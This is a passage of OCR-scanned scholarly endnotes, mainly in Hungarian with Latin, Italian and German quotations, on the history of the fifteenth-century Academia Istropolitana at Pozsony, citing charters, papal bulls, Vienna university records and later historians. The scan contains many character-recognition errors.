rencimn Dominus Episcoj)us Autoritate Apostolica ordinaverat, ut et nunc
SentencJas in dicta Sua Universitate legeret, qui et duos libros sentenciarmu
in Histrojioli légit; rogavit interea dictus Praesul per sua scniita ut Facultas
Theologica M. Laurencium ad formaturam reciperet, librosque in Histropoli
lectos eidem comjiutaret; promisit tamen M. Laurencius in Faeultate,
Wiennae dum esset, se velle tercium principium in Sententias AYiennae
facere et Baccalarius in Theologia formatus censeri Wiennensis, quod et
fecit. Idcirco attentis tanti Praesulis precibns, visis et denique meritis M.
Laurencii dispensavit [azaz elengedte a két évi biblicus tanfolyamot] euni
Magistro illó ad oijtatum Episcopi et eciam M. Laurencii.
Anno quo immediate supra, Dominica proxiina jjost festum Purifi-
cacionis Mariae (Febr. 4-ikén) iterum congregata fűit Facultas ad recipiendum
78
inramentum ab eodeiu M. Laurencio pridem admisso ad terciiuu jirinci-
pium, quod et fecit.o
Ezen idézetekből kitűnik, hogy Schier (i. ni. p. 25) tévesen állítja
Löríncz mesteiTől, hogy «Istropolitanornin Professonun coUegio an.
MCDLXVIII [1469 helyett] sic additus est, ut tanien emu lUustrissimus
Promotor a caeteris Theologiae gradibus non vellet remotum, quin precibus
intei-jiositis acceleraret proiuotionem et nt Istropoli in Sententias legére
posset inipetraret. » De téved Fraknói is, ki szerint (Magyarországi tanárok
stb. p. 28) Krnmpachi Lőrincz a bécsi egyetemen 1469-ben a «Liber Sa-
pientiae»-t, 1470-ben az «Epistola ad Colossenses»i-t, 1471-ben a Senten-
tiákat adta elő. Nem adhatta elő azért, mert akkor nem Bécsben, hanem
Pozsonyban volt. — Grneberröl Scliier (Mem. Acad. Istrop. p. 24) 'még azt
mondja, hogj' «Poito theologiae incubuit et in ea prímám lanream snscepit.
Dissoluto praeter expectationem Posoniensi Lycaeo Yiennae perstitit. Quid
tamen lútro egerit, aut quo anno fatis succnljnerit, nullibi adnotatum
comperi". De ez természetesen részben nem egyéb Schier pnszta g;5'anítá-
sánál. — Félre értette a Schier által közölt jegyzőkönyvi kivonatokat Lányi,
mikor azt mondja (Cath. clerns érd. p. 97), hogy »A Vitézféle pozsonj'i
iskolában medlingi Grueber Mátyás a szentírás olvasásihoz oktatóiil alkal-
maztatott, mint Vitéznek a bécsi egyetemhöz 1469-ben írt leveléből világos;
Mátyáshoz mellékeltetett ezen évben Krumpach Lőrincz mester; Schomberg
alcancellár úgy reudezé el a tannlmányokat, miszerint Lőrincz a bölcseség
könyvét, Mátyás pedig szent Pál leveleit Timothé- s Titushoz magyarázná.
Következő folyamul választá Mátyás a leviticust, Lőrincz a colossi levelet.
(Schier kutatá ezt ki a bécsi egyetem actáiból. Katona 15, 414 st.).»
**j Ezt legelőször «Diss. de Bibi. Bud.)) czímü értekezésében (p. H)
említette Schier: «M. Nicolaum de Hittendorf in Istropolitana seu Posoniensi
Academia Professorem publicum (IMentionem huius faciunt acta facult. Ar-
tium et Theologiae Uiűa-. Vienn.j eiusdem praesulis utpote fundatoris evo-
catione muuus adivisse palám est.)> V. ö. a bölcsészeti kar jegyzőkönyvéből
való kivonatot Schieruél Acad. Istrop. p. 23. (Acta Fac. Art. ad a. MCDLXX.
VI. fer. ante Festimi S. Catharinae V. ^I. azaz November 23-ikán) :
«Exauditus fűit absolute M. Stephanus Murer de Bruuu, qui petivit concedi
M. Nicolao de Hittendorf in Theologia Licentiato, tune in nova Universitate
Histropolensi videlicet Posoniensi Lectori quemdam librum pro exemplari
de libraria Facultatis.» Eimely (i. m. p. 257) a pozsoim kanonokok név-
sorában Schrickhert is fölemlíti : « 1 459. Nicolaus de Hittendorf, dioec.
Pataviensis. Licenciatus theologiae. Decauus. — 1479. >» Aschbach (I. p. 618)
szerint « Nicolaus Schrick de Hittendorf » theologiae baccalaureus 1442. óta
bécsi egyetemi tanár volt.
*'^) Eimely i. m. p. 126: dGeorgius Schonberg jus decretalium in
academia hac ipse proposuit, extat enim in Bibliotlieca Capitiüi manuscri-
ptuiu decretalium cum aduotatione : Iste liber est ecclesiae Poson. quem
Georgius Praepositiis cum scitu Capituli tum in universitate, tum extra
universitatem pro usu suo tenuit et recepit 1467." Knanz (A pozsonj-i káj)-
74
talannak kéziratai, p. 15) szintén ismerteti ezen kéziratot (I)ecretales Gre-
gorii IX. Liber Sextus, Extravagantes stb. 13. szám alatt; hártj-akézirat.
Folio a XIV. századból. 266 levél), de szerinte a jegj'zet nem 1467-böl,
hanem «in octava s. Martinj (nov. 18.) Anno domini etc. 61 » (1461-ben) kelt,
miért is elutasítja azon feltevést, hogy Schombex'g e codexet a pozsonyi egye-
temnél használta, és csak azt tartja valószínűnek, hogy i<miután Schomberg
e codexet egyetemnél használta, megalakulván a pozsonyi egyetem, ebben
is használtatott a codex iskolai köny\áil, mely esetben a kézirat igen nagy-
becsüvé válik." Hogy pedig Knauz helyesen olvasta a kérdéses datmnot
1461-nek, és nem tévesztette össze a hetes számot az egyessel, mi arab szá-
moknál könnyen megeshetik, bizonyítja Havlicsek iiron kívül (hozzám intéztet
levelében) a pozsonyi káptalan könyvtárának egy másik kézirata (saec. XIV. Ibi.
membr. uConcordantia discordantinm Canonnm, Knanznál p. 17j, melyen
ugyanazon najiról mint az előbbi kéziraton, minden kétséget kizárólag 1461 böl
a Jíövetkezö jegyzet vau: «Item in octava s. Martini (nov. 18.) anno etc. LXlo
(1461) ego- Georgius j)repositus poson. Vacavi studio Sacri Juris Poutificii.»
— A pozsonyi káptalan könyvtárának 24-ik szánni jogi codexéről is (Summa
Notariae Magistri Eolaudini Passaczerii Bononiensis, fol. membr. 1260-ból)
azt hiszi Knauz (i. m. -p. 24) hogy « jóformán iskolai köny%"ül használtatott a
pozsonyi egyetemnél ; miután a bolognai egyetemnél, mely szerint a po-
zsonyi berendeztetett [??], az volt.i) — Ugyanazon köny-\-t-ár «Statuta üniver-
sitatis studiorum Bononiensis de anno 13 17... » czímü kézii-atáról Lányi azt
hitte (I. p. 547. c48), hogy Miklós és Jákob esztergomi kanonokok és bolognai
egyetemi polgárok hozták haza «ama bolognai egyetemszabályzatot, mely
korukban az esztergomi egyház levéltárába letéve, a Mátyásféle egyetem
alapítása és rendezése alkalmával másfélszázados porából kiemelve, napA'ilágra
vonatott, és az egyetemmel együtt aztán Pozsonyba az egyetem alcancel-
lárához, innen a káptalani könyvtárba vándorolhatott, hol maiglan őriztetik. »
— Hogy külömben Schombergnek magának is volt könyvtára, kitűnik egy
oDefensorium Canonisationis Saucti Leopoldio czimű s. 1. e. a. megjelent
könyvből (egy mölki kéziratból újból kiadta Pecz, Scriptores Rerum Austria-
carum. I. p. 592 — 672 ; leirta Hellebrant Ai-pád, Magyar Könyvszemle. V.
p. 326. 327) fol. 14b: «Demum cum idem Revereudissimus d. legátus po-
sonium veuisset quandam cronicam antiquitissimam (!l inter alios libros in
bibliotlieca praeiiositi posoniensis rejiertam, per quam nonnuUa merita eius-
dem beati Leopoldi comj)robari videbantur in processu cause annotai'i man-
davit. » A pápai követ, kiről itt szó vau, a Cardinalis S. Marci volt, bre-
veje «Eo. apud sanctum Petrum sub anuulo piscaíoris Die II, Marcii
MCCCCLXXII Pontiíicatus nostri (II. Pál) anno primo » (L a mű fol. 14
rectóját) kelt.
*") Rimely (i. m. p. 257. 258) azt hiszi, hogy Angelus mester és hit-
tudor, kit a pozsonyi kanonokok sorában az 1474-ik évhez felemiit, vala-
mint ((Volfgangus Prechtl de Hasleiten, Pataviensis, in'ofessor emeritus, a
Gábrielé Ep. Agr. qua legato nominatus», kit ugyanott az 1479-ik évhez
említ fel, a pozsonyi egyetem tanárai voltak. Állítását a káj^talan 1473-iki
/o
számadási könyvéből bizonyítja, melyben az említett két férfiú "de anno
priori (azaz 1472-böl| ceu bospites, qiios Capitnlum intercUiin liouoraAát
auteqiiam in gi-emiuni snum cooptarentiu-», említtetnek. A káptalan dékánja
ugyanis, Kegensburgi Erasinus, "in praesentia Ulrici Yicarii, Miehaelis ple-
baui, Joannis Wepp, et licentiati Nicolai, alteriusqne >s"icülai Popp rationes
reddensi) azt mondja, hogy : "Jiissii Domiuonuu Canonicoriim — houoratus
est Duus. Doctor Angelus et expositi pro vino XVI. den. et pro uno pane
XXXVII. denarii. Item honoratus est Dom. Doctor Magi\ Wolfgangus,
quondam ordinarius professor, et expositi sünt pro piscibus V. grossi minus
X. denarii. — Item ad iussuni Dnorum. novissime lionoratus est Dnus.
Doctor Angelus cum 6 pullis per G deu. faciun. 35 deu. et duobus eantaris,
cum vino faeit 18 den.»
*^l Brandoliniröl azt mondja Schier p. 27, hogy "in Hungáriám evo-
catus primum in Histropolitana (quod pliu-imi Strigonimn, ut in Régiómon
tano contigit, expressenmt) tum in Budensi Academia multis annis ( >ra-
toriam artem publico munere tradidit. » Wallaszky Tent. p. 37, hivatkozván
Girolamo Ghilini Theatro d'Huomiui Letterati czímű munkájára (Vol. II.
Venezia. 1647. p. 32.33): «Si divulgö in maniera il valor suo in ogni parte,
che chiamato da Mattia Eé d"Ungheria, fu costretto ad accettaro la publica
lettura di Eloquenza in Euda e poi in Strigonia, amendu cittá di quel
Regno, nelle quali condotte perseverö molti anni con grandissima lode»)
azt mondja róla, hogy "evocatus in Hungáriám, Sti-igonii et Budae elo-
quentiam docuit.n Mazzuchelli is (Gli Serittori d'Italia. I. p. 2014) csak azt
mondja rólaPhilippus Bergomensis (Suppl. Chron. XVIi, Gandolfi (De Script.
August. p. 85) és Fogliazzi (Vita EaphaeHs Brandolini. p. 36) alapján, hogy
"Mentre era al secolo passó in Ungheria, chiamato^d da quel Ee Mattia
Corvino, e per molti amii insegno nella Cittá di Buda e di Strigonia con
molta fáma l'Arte Oratoria, e fu in guisa caro a quel Ee e álla Regina
Beatrice, che sovente negli affari piu importanti li vollero per loro Con-
siglere.)) Az idézett Gandolfi szerint: «Hic vir eniditissimus et eloquentis-
simus a Mathia Coi'S'ino Pannóniáé Eege gloriosissimo ascitus, Budae ac
Strigoniae multis annis publico munere eximiaque laxide Oratoriam docuit.
Eegi ac Beatrici Eeginae in adversis consolator dulcissimus, ob idque
ab ipsis saepius in intima consilia adniissus.D De Gandolfi is, iigy mint
Ghüini és az ide vágó többi író, csak Philippus Bergomensisböl merített,
ki azt m mdja az idézett helyen Brandohniröl, hogy «A Mathia gloriosis-
simo Pannoniormn Rege ascitus et Budae ac Strigoniae multis annis publico
munere magna cum laude Oratoriam docuit. » — V. ö. még Tii'aboschi raeg-
jegyzéseit (Lett. Ital. VI. p. 942) "Ma certo egli (Aur. Brandolini) era ancora
in Eoma nel 1482, quando come altrove abbiamo oíservato (t. VI. par. 1)
si celebró lanniversario del Platina e vedremo inoltre tra poco che spesso
ei moströ il suo raro talento d'improvisare innanzi al pontef. Sisto IV [1471
— 1484]. Sembra dimque probabüe ch'ei partisse da Eoma e si recasse in
Ungheria, dajjpoi che il re Mattia fondó una nuova Universitá in Buda
poco dopo il detto anno 1482 [!] ; intorno álla quale universitá degna é
76
(Vesser letta una assai eruclita dissertazione elei j). Sisto Schier ... In essa
íra le altre cose egli osserva clie si trova memória di Aurelio negli Atti
di quella imiversitá alF occasione di alcuni libri clie il re gli fece prestare
dalia sua biblioteea . . . Apostolo Zeno, non so su qual foudamento, aggiunge
(Diss. Vosa. II. p. 193) che prima de passai'e álla corte del re Mattia, ei
sosteneva la stessa cattedra in Firenze coll'aunuo stipendio di 125 scudi.x
Ebből ugj'an nem jó fogalmat szerez magának az oh'asó Tirabosclii alapos-
ságáról ! Schier a pozsonyi egyetemről írt és a bécsi eg\-etem actáiból
említette, hogy a bécsi egyetemi könj'vtárból kölcsönöztek Brandoliuinek
könyvet ! — Grásse (Litt. Gesch. IL 3. 2. p. 855) külömben idézi Brando-
lininek egy « Libri II. Paradoxorum Christiauorum ad Matthiam Corvinum
Eegem Hungariae» (Basil. 1498, Roma 1531, Basil. 1543, Colon. 1573)
czímü müvét ; ebben talán szintén vannak Brandolini magyarországi tartóz-
kodására vonatkozó adatok.
*^) A prímási levéltárból vett oklevél, luelyet Estei Hippolyt prímás
1488-bau megerősített (Rimely, i. m. p. 33), megran Töröknél (Magyarország
prímása. II. p. 78) és Fejérnél (Hist. Acad. Scient., Docmnenta p. 7 — 9) :
wJoannes . . . Archi-Episcopiis Strigoniensis . . . Notum facimus omnibus snb-
ditis nostris snb iurisdictione nostra Dioecesana constitiitis, cuiiisciinqne
conditionis et dignitatis existant, qiiod nos multis respectibus ac rationabi-
liblts et canonicis ex causis moti, precipiie aixtem cnpientes jjrovidere utili-
tati, indemnitati ac saluti nonnuUornm sixbditorum nostrormn, qui a sede
nostra longo spacio térre distare -sddentur, parcereque volentes illorum labo-
ribus et exj)ensis, quos iniuriam páti vei iura sua ^dndicare velle contingeret,
preterea j)ro commodo et meliori ac salubri statu Venerabilium doctorum
nec non magistrorum et studentium in hac Universitate studii generális
Hystropolitani de novo institiiti, pro tempore commoranciiim, ne iidem
relictis stndiis eorum in casibus vei caiisis emergentibus ad nos seu sédem
nostram semper reciuTere cogautm-, confisi de j^rudentia, legalitate et iute-
gritate Ven. Fratris nostri Georgii Prepositi luiius Ecclesie Posoniensis sive
Hystropolitane, Vice-Cancellarii eiusdem stndii generahs, eundem matúra
deliberatione prehabita in officialem seu vicarium in spiritualibus tam in
foro consciencie, quam in contencione, quoad ipsam Ecclesiam Posonieusem
sub nietis et termiuis infra denotatis, elegimus, fecimus et constituimus per
presentes, dantes et concedentes eidem plenam auctoritatem, que similibus
ofíicialibus de im-e dari et concedi consue^it, in omnibus casibus et causis
spiritualibus tam civilibus quam criminalibus cognoscendi, iiidicandi, processus
iuridicosl'aciendi, sententias fulminandi, de crimiuibus inquirendi, divini cultus
defectus et negligentias et vitás vitiosorum reformandi, et si opxis fuerit,
castigandi, sententias interlocutoriuu definitivas, jíenales, et privationis ferendi,
latasque execucioni demandandi, si modo non fuerit ab huiusmodi senten-
tiis vei aliqua earum iuridice ad sédem nostram appellatum, cui qiiidem
appellationi, cum de iure facta fuerit, in omni casu et caiisa deferre tenea-
tur, aliaqvie omnia et singula facienU et agendi et consequendi, que ad
huiusmodi officium quomodolibet de consuetuchne bona vei de iure spectare
n
clebeut et possnnt. Termini antem seu luete iiu-isdictionis Hue sint in supe-
riori Dioecesi nostra quara fluvius Wagli ab alia parte inferiori clisterxninat,
ita quocl incipiat iurisclictio ipsa a fluiniue Wagh seciiudnm fluxum eius,
iisqiie ad Damibiuni et tendat usque ad luetas Mora\de, ac deinde secun-
dum cursiun flu^ii Morva siib castro Thebeu in Daniibium cadit '^cadaf?].
In Insnla auteni Challokeoz ipsa iimsdictio in tantuni se extendat, quan-
tnm jn'oteuditur Inrisdictio Archidiacouatus Posoniensis. . . Dátum in dicta
Civitate Posoniensi sive Hystropolitana die vigesima sexta meusis Ainólis.
Anno Domini millesimo qiiadringentesimo sexagesinio nono."
*^) A pápai oklevelet lásd Péterff'ynél (II. p. 16), Schiernél |i. m. ji. 23)
és Fejérnél (i. m. p. lOl. Az ebben adományozott praerogativákhoz Piimely
szerint (i. m. p. 3Í-) VIII. Incze pápa 1490-ben hozzáadta még a követke-
zőket: «ius indulgentias 40 dierum concedendi, reconciliandi ecclesias et
eoemeteria, benedicendi vestes sacras, minoresque quatuor ordines conferendii).
A bulla főrésze így szól: ((Paulus Episcopus Servus Servorum Dei dilectis
filiis, Praeposito et Cai^itulo Ecclesiae Sancti Martini Histropolitani, Stx-i-
goniensis Dioecesis salutem et Apostolicam benedictionem. Exposuit vestrae
devotionis sinceritas, ut tam vos, quos speciaU gi"atia prosequimur, quam
Ecclesiam vestram dignis honoribus attollamus. Hinc est, quod nos, consi-
deratione cbarissimi in Christo Filii nosti-i, Mathiae Eegis Htmgariae illu-
stris, asserentis, quod oppido Histropolitano propter stúdium generálé ibideni
nuper erectum et vestrae Ecclesiae iiliu-iiuum afficitur, nobis super hoc
hiuniliter supplicantis, ac vestris in hac parte supplicationibus inclinati ut
tu Praejíosite et successores tui Pracjiositi dictae Ecclesiae, qui pro tempoi'e
fuerint, mitra, baculo, annulo et ahis Pontificalibus insigniis libere et licité
possitis uti. Nec non quod in dicta et aliis Ecclesiis sive Capelhs ibidem
subiectis benedictionem solemnem post Missarum, Vesperarum et Matuti-
narum solemnia, diunmodo in benedictione huiusmodi aliquis Cathohcus
Antistes vei Apostolicae Sedis Legátus praesens non fuerit. elargiri possitis.
. . . Dátum Eomae .... anno . . . millesimo quadiingentesimo sexagesimo
nono idibus Augusti, Pontificatus nostri anno quinto.*
^"j Wallaszky (Consp. p. 108) Péter% Conciliáiból (II. p. 16i idézi
Újlaki ügyvédjének, Jecceliusnak, idevágó vallomásait, és megjegj'zi, hogy
(icirca anniun 1550 hs fűit inter Franciscum Vilaki Ep. Jaurin. et Praepo-
situm Posoniensem atque Simonem Cayi-us de Salucze civem Posonien^em
de area muro circiundata quae olim ad Universitatem hanc spectabat, parte
utraque ius.sibi in eani vinchcante. » Piimely (i. m. p. 126 — 127) a káptalani
levéltár okmányai nyomán (Caps. A. 5, 40, ibid. fasc. 5, 23) következőképen
adja elő e per történetét : Míg az egyetemi épületnek azon fele, melyben
a tantermek voltak elhelyezve, 1490. óta lassanként romba dőlt, az épület
másik felét királyi liivatalnokok lakták, kik közül az egyik, Pósa Balázs,
«camerae sahs praefectus», ki az épület egj-kori bii-tokosának Gmaiutl Ist-
vánnak dédunokáját feleségül bh"ta, 1492-ben Ulászló király áltaJ magának
ajándékoztatta az éjjület ezen részét és Corvin Jánost is rábírta, hogy
javára az épületre való minden netaláni jogáról lemondjon. Pósa Balázs
78
később az éiiületet vejének Jánosnak hagyta, ki viszont egy bizonyos Hor-
váth-Bykovith de Ozniolich Simonnak adta, kinek birtokából leánya fiára
Szentiványi Szentiváuyi Gáspán*a ment át. Ez más birtokkal együt ezer
háromszáz forintért eladta Kerekesi (vagy Kerecseni) Szalay János grófnak,
ki az egyetemi épületet Kajrói Simon uemes embei'nek ajándékozta azon
érdemek fejében, melyeket Kajrói mind Szalayékuál mind néhai Berzenczei
Bornemisza János grófnál szerzett, kinek házánál mint fogadott fiú nevel-
kedett és kinek fiának Bolognában nevelője volt. Újlaki és Kajrói között
azért ütött ki a viszály, mert a prépostságot és az eg,yetemi épületet elvá-
lasztó fal az idők folyamában eltűnvén, Kajrói a közben fekvő térnek oly
részén építtetett, mely Újlaki szerint a prépostság tulajdona volt. A per,
melyben Pozsony városának hatósága folyton Kajrói pártját fogta, sokáig
elhiizodott, mígnem 1551-ben a kérdéses térség a fiskiis birtokának declarál-
tatott és a pozsonyi prépostnak ajándékoztatott. — 162.3-ban az egyetemi
épület kérdéses része, melyet a XVI. század közepe tája óta «curia Kere-
kesianan-nak hívtak, királyi pénzverde volt. További sorsairól 1, Rimelyt
i. m. p. 128. 129.
^M Újlaki állításait Eimelyböl (p. 12.?. 126) közlöm; zárjelek közé
Újlaki ügyvédjének, Jeccelius Balázs bécsi ügy\'éd nyilatkozatának fontosabb
eltéréseit közlöm Wallaszky (Péterffy) szerint (Consp. p. 108.109): «Notum
est' quod felicissimae recordationis Serenissimus quondam Mathias Dei gratia
Hmigarorum ect. Rex, dum adhuc snperA-iveret, inter plurimas sui regiminis
cm'as divinae Maiestatis beneficiorum, siiique cultus velnti bonns christicola
non immemor, in hac ipsa civitate Posoniensi studentibus jiraesertini Sacrae
Theolügiae sive scriptiu-arum divinarum, quae tendunt ad divimun cultmn
augmentandmn, muudum illmninandiim, fidem augendam et defendendam
bonasque ac sacras literas addiscere volentibiis universale studimn ei'exit,
quod Istropolitanum g;vmnasium nominavit, [quod vulgo Academiain aj^pel-
lant] et pro residentia tam doctorum quam studentiiun habitationibus
quandain domum amplam collegialem [amj^lam domum et curiam plu-
res stb.] habitationes in se habentem [habentes in hac ci^•itate■ Posoniensi
iuxta domum praefatae Praepositurae Ecclesiae Posouiensis, in orientali plaga
situatam, quam et muro opere egiegio constructo usque ad coemetei'ium
eiusdem Ecclesiae Posonieusis versus meridiem amíjliari fecit. Ciii quidem
studio Universali Reverend. D. Georgiiuu de Somberg stb.] emu euria non
indigna [c. euria n. hid. hiányzik] in őrien te plaga iuxta domum praepo-
sitiu'ae ecclesiae Posonieusis eidem universitati pie dona^it, cui quidem
universitati rectorem dominmn Georgium de Sonberg illius temj)oris in dicta
ecclesia Posoniensi Praejiositum Caucellarium [Vice-cancellai"ium] praefecit.
eiusque successores pro tempore existentes successive cancellarios fieri voluit
et ordiuavit; in qua academia exei-citium studii et bouarum literarum din
feliciter floruit, pluresque in ea baccalaini creati et iiromoti fuerunt ; post
obitum tamen dicti domini Eegis Mathiae hostilitate ingruente inter sere-
nissimos i^rincipes Maximilianum Imperatorem et Uladislamn Hungaronnn
.... Regem doctorum ac studentium frcquentia defecit [fr. pedetentim
79
def.], unde tanieu conseciiienter accidit, iit qiiidam doirmin collegialem prae-
nienaoratam potentia mediaiite sibi usurpaverint et occujiaverint .... quam-
vis acadeiiiia illa per praefatuni qiiondaui doniimiin Matliiaui Kegeui modo
praenarrato fundata et erecta, doniusque et habitatioiies simul cuiu totó
fundo eius atqiie cunctis aedificiis et pertiuentiis jiost eius erectioneni
ex praeuiissa dedicatioue Deo altisaimo eiusque Ecclesiae illuminatioiii
coUata et oblata, pertiueret ad praedictaiu ecclesiam Posonieusem» (A
pozsonyi káptalani levéltárból, Caps. A. f. 4). Újlakinak ezen állításait
Csery is közli a pesti egyetemről szóló kézirati munkájában (Egj-etemi
könyvtár G 103) Kaprinai kéziratailjól (T. XI. C. \^. 10) és Scliönvisuer
idézett értekezéséből. Szerinte az okmány ndie decima tertia mensis Augusti
anno dumini millesimo quingeutesimo (juadragesimo sexto» kelt és ucontra
. . . nobilem . . . Symonem Cayro de öalucze» van intézve. — Sajátságos
mindezek után Wallaszky állítása (Tent. p. 65) : «Venerabilis . . Canonico-
inui ad D. Martinum Collegii tabularium, irrei^erabilem quippe motibua
Bethlenianis uti a viro, qui eius accuratam liabet notitiam, e.loetus sum,
passum iacturam,' nihil ad academiani (a pozsonyihoz) spectans continet. »
^^) V. ö. a kLocíi ignorata hacteniis in ibin Ovidii, in officiis Cice-
ronis, in ^drgilio, in tibullo, et lóca aliorum. Pontici sylvaew czímíi felette
ritka munkát (végén : Impressiim Isauri in aedibus Hieron. Soncini IMDXIII.
quinto idus maii.) melyben a 14-ik levél versóján Ponticiis Viruniusnak (1467
— 152C, V. ö. Zingerle, De carminibus latinis saec. XV. és XVI. ineditis. 18S0.
p. LII) következő mindeddig ismeretlen levele olvasható : «Ponticus Viruniua
Thaddaeo Ugoletto S. iníinitam. Insignia maiorum tuorum et affabilitas
animique tui móres nobilissimi et dolor pariter ille tuus sempithermis ob
mortem Matliiae regis lumgarorum : cui eras et latinis et graecis codicibus
in erigenda academia amplissima in Posidonia idest possoni ad centesiiűum
lapidem ad Blaedam idest Budám vulgo urbem iu inarginibus Dauubii id
est duna eortun lingua versus Vindelicos qui mmc Austrii dicuntur, et in
conduceudis undique omnium scientiarum doctis viris omnibus et auetor et
legátus carissimus j^er Italiam et iibique geutium stb.»
°^) L. Eakovszky idézett tárezáját ; Dass sie noch 1480 ganz erhal-
ten war, zeigt die gleichzeitige Reshming: «Mer zween zymerknecht, die
den Meister wolf, des kunigs Pawmeister, an deu zug in der Hochen sclml
habén lielfen machen, ír ainen 3 tag, 1 per 28 D.» (Meister Wolf-ot Pia-
kovszky az Arch. Értesítőben i. li., is enjlíti.)
^*) Schier i. m. \). 20, hol külömben azt is lehetőnek tartja, hogy a
pozsonyi egyeteixi nem szűnt meg Vitéz halálával, hanem Budára helyez-
tetett át. De már Katona (Hist. Crit. XV. p. 70) nem helyeselte Schieruek
ezen feltevését, hanem hajlanilóljb volt azt hinni, hogy Mátyás király ural-
kodásának inásodik felében hazánknak három egyeteme volt : a pécsi, a
pozsonyi és a budai. Eómer (Pozsony régészeti műemlékei, j). 295) azt hitte,
hogy az egyetem lí-67-beu A-alószinűleg már fönállo+t, »de miután korlát-
noka, Vitéz érsek, a kir;'ily kegyelmét veszté, a király Budára szándékozott
azt áttenni. . . Csak kevés ideig állott fenn, és alai')í tójának halála után meg-
80
szűnt. » Tolilj' szerint (i. m. II. j). 25) a j)üzsonyi egyetem « alapítójával (Yitézzelj
együtt lenni megszűnt)) leginkább azéx*t, mert «mint az utóbbi években leg-
bathatósb eUeuzöjének müvét Mátyás magára hagyta. » Lányi szerint is
(I. p. 545j <iaz intézet Vitéz érsek halálát túl nem élte », bár előbb (M. Cath.
clenis érd. p. 85) Lányi más, ele .szintén téves nézetet vallott: n Vitéznek
holta után 1472-ben Mátyás a tanodát (Fejér szeiint) abban hagyta, mi ahg
hihető. Vgy látszik alapító jogokat csak most kezde szerezni, midőn a tudo-
mány áin-a művelőinek nagy házat s udvarhelyet rendelt a prépostság tő-
szomszédságában, mint breslaui Jeccelius Bálint ügyvédnek 1544 kiadott
okiratából ^-ilágos (Péterfify II. 16).)) Wallaszky (Tent.p. 65. 66) Thuróczy és
Tinion nézetét, kik «elato auctore academiam quoque extinctam aiunt»
valószínűbbnek tartja mint Eotarides Mihályét (Prolegg. Liueamentorum Hist.
Litt. Hung. p. 41), a uEes Litteraria Hungaiiae» névtelen szerzőjéét (Cassoviae,
1735. p.6j és Faber Pálét (Commentatio de Augusta Bibi. Budensi. p. 8|, kik
a pozsonyi egyetem elpusztulását a mohácsi vész után való időkbe helyezik
és a törökök dühének tulajdonítják. De már a Conspectusban (p. 111) Wal-
laszkyt Jeccehus állítása meggj-özte arról, hog^- az egyetem csak Mátyás
halála után szűnt meg. Fraknói (A hazai és külföldi iskolázás, p. 31j Geist
(említett tárczájában), Eakovszky (Arch. Értesítő. 1878. XII. p. 77) és Eimely
(i. m. p. 125) ugyanazon véleményt vallják. Később persze némileg meg-
változtatta nézetét Fraknói (Vitéz élete. ji. 230) és szerinte « Vitéz halála után
az egyetem elvesztve benne támaszát és fentartóját hanyatlásnak indult és
néhány év múlva egészen íöloszlott. Két évtized leteltével okleveleink a
pozsonyi egyetemiből mint egy rég megszűnt intézetről szólanak.))
^^) V. ö. Fraknói, Magyarországi tanárok stb. p. 6. 7 ; Paulseu i. lu.
p. 296.
^®) Schier j). 19 az egyetem bölcsészeti karának jegyzökönyvééiből a kö-
vetkező kivonatot közli : h1471) Sabbatho ante Festum Trinitatis (jun. 8-ikán)
Bacc. Petrus Förhinher de Kirichdorf Universitatis Posoniensis seu Histro-
polensis ad respondendmn pro incorporatione nostronim Baccalaureormu
petivit, qui fűit exauditus iuxta statuta. Probavit gradum suum per diim
Magisiros nostrae Facultatis praesentialiter constitutos in siia determina-
tione (deterininatiónak nevezték azon kérdést, melyet a baccalaurexisi
vizsgán a promotor a jelölthöz intézett, miután ez a baccalaiu'eusi eskü
letétele után baccalaureus öltözetében a többi baccalam-eus közt helyet foglalt.
Lásd Tomek, Gesch. der Prager Universitát. p. 18. 19). » Fraknói pedig,
(Magy. tanárok stb. p. 17) azt mondja, hogy «1472. október 3Ü-ika előtti szom-
baton (okt. 24-ikén) a bölcsészeti kar által befogadtatott : ,Bacc. Petrus
Vorchttiuger de Iviiichdorf Universitatis Posoniensis'. — Liber secimdus fac.
arcium. f. 233. » Az acták imént idézett helyéből Dr. EieiU Frigj-es barátom
szívességéből a következő kivonatot bírom: «die Sancti Cholomani mart.
Anno 1472» [okt. 13-ikán] (tSed quidam baccalaiu-eus Histropoleusis
nomine Petnis Vörchlinger (!) de Kirchdorf fűit assumptus ad consor-
tium nostronuu baccalaiu'eorum et iuravit iurauda. Qui et petivit dis-
pensationem super iitroqe. Cuius petitio cum supra petentibus comissa
81
est ilecano et receptori et voliüt íacultas eiindem sequi ortlinatione bacca-
laureatis [! '?] omnes tuuc admissos et promotos qui infra suiim tempus
eis a faciütate descriptum deterniinareut. » Ügy látszik tehát, hogj' a Vorclit-
tinger név Fraknóiuál, kiuek idézett passiisa nyüváu neui az actákból, hanem
Schiei'böl van merítve, nem egyéb sajtóhi,bánál, és hogy lürchdorfi Vörch-
Huger (Förhinher '? ■?) Péter, bár már 1471 jun. 8-ikán elismerték azon jogát,
hogy mint pozsonyi baccalaiu'eust a bécsi egyetemen is kell hogy habilitál-
ják, mégis -csak 1472. okt. lo-án erősíttetett meg bécsi baccalaiu'eiisi minő-
ségében, — A ((thspensatio super iitroque» Eiedl véleménye szerint a cle-
ricnsi habitus és a tandíj alól való fehnentés ; részemről hajlandóbb vagyok
e kifejezést a clericusi habitus és a bacealaureiisi receptióért járó díjak fel-
mentésére érteni. — Hogy mily szíves indulattal viseltettek a bécsi egyetem
tanárai a pozsonyi egj^etem ii'ányában, Schier (p. 26) avval bizonyítja, hogy
« sive Professores postulareutur, benevoh suo e gremio jietitos suppechtabant,
sive rogati, ut iu gratiam novelláé coloniae stiis in legibiis benigne disj)ensare -
tiir, promptos animos osteudebant ; quin etiam excursione facta Istropolita-
nis actibiis publicis adsistere non dedignabantur.n Ezen utóbbi állítását Schier
alkalmasint a bécsi egyetem bölcsészeti kai'ának az 56-ik jegyzetben ritkított
betűkkel közlött helyére alapította. — Fraknói (Magj^ar. tanárok stb. j). 16) még
azt is mondja, hogy az Academia Istropolitana szervezése és megnyitása is a
bécsi egyetem közreműködésével történt, melynek több tanára 1467. év nya-
rán ismételve megjelent Pozsonyban, és ezen állítása bizonyítására Pozsony
városának 1467-Lki számadási könyveiből a 38-ik jegj'zetben közölt helyen
kí^'iil a következőre is hivatkozik, melyet Eakovszky tárczájában ilj- alak-
ban közöl: <(Am Eritag am sand peter und sand pawl tag (jun. 24-ikénj,
hab ich gebén 2 fuerleuten mit zwaien wágen, (he den probst mid die tok-
toresen habén gen wien gefiu-t 4 Pf. und 30 D. doselbs 3 soldnern, die mit
